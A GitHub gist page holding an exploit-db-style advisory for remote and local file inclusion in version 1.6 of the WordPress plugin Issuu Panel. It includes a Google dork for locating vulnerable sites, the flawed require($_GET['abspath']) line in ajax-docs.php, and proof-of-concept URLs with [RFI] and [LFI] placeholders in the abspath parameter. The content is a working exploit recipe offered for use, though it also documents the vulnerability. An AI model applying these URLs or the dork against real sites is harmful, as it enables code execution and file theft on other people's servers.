Skip to content

Instantly share code, notes, and snippets.

@CCrashBandicot

CCrashBandicot/IssuuPanel_RFI&LFI.txt

Created March 31, 2016 01:44
Show Gist options

  • Select an option

    Learn more about clone URLs
  • Save CCrashBandicot/a398da1756b2daa8c2e4bdcf381a8fba to your computer and use it in GitHub Desktop.

Select an option

Learn more about clone URLs
Save CCrashBandicot/a398da1756b2daa8c2e4bdcf381a8fba to your computer and use it in GitHub Desktop.
Download ZIP

Revisions

  1. CCrashBandicot created this gist Mar 31, 2016.
    16 changes: 16 additions & 0 deletions IssuuPanel_RFI&LFI.txt
    View file
    Original file line number Diff line number Diff line change
    @@ -0,0 +1,16 @@
    # Exploit Title: Wordpress Plugin Issuu Panel - RFI & LFI
    # Exploit Author: CrashBandicot
    # Date: 2016-03-23
    # Google Dork : inurl:/wp-content/plugins/issuu-panel/
    # Vendor Homepage: https://wordpress.org/plugins/issuu-panel/
    # Tested on: MsWIn
    # Version: 1.6


    # Vulnerable File : menu/documento/requests/ajax-docs.php

    3. require($_GET['abspath'] . '/wp-load.php');


    # PoC : http://127.0.0.1/wordpress/wp-content/plugins/issuu-panel/menu/documento/requests/ajax-docs.php?abspath=[RFI]
    http://127.0.0.1/wordpress/wp-content/plugins/issuu-panel/menu/documento/requests/ajax-docs.php?abspath=[LFI]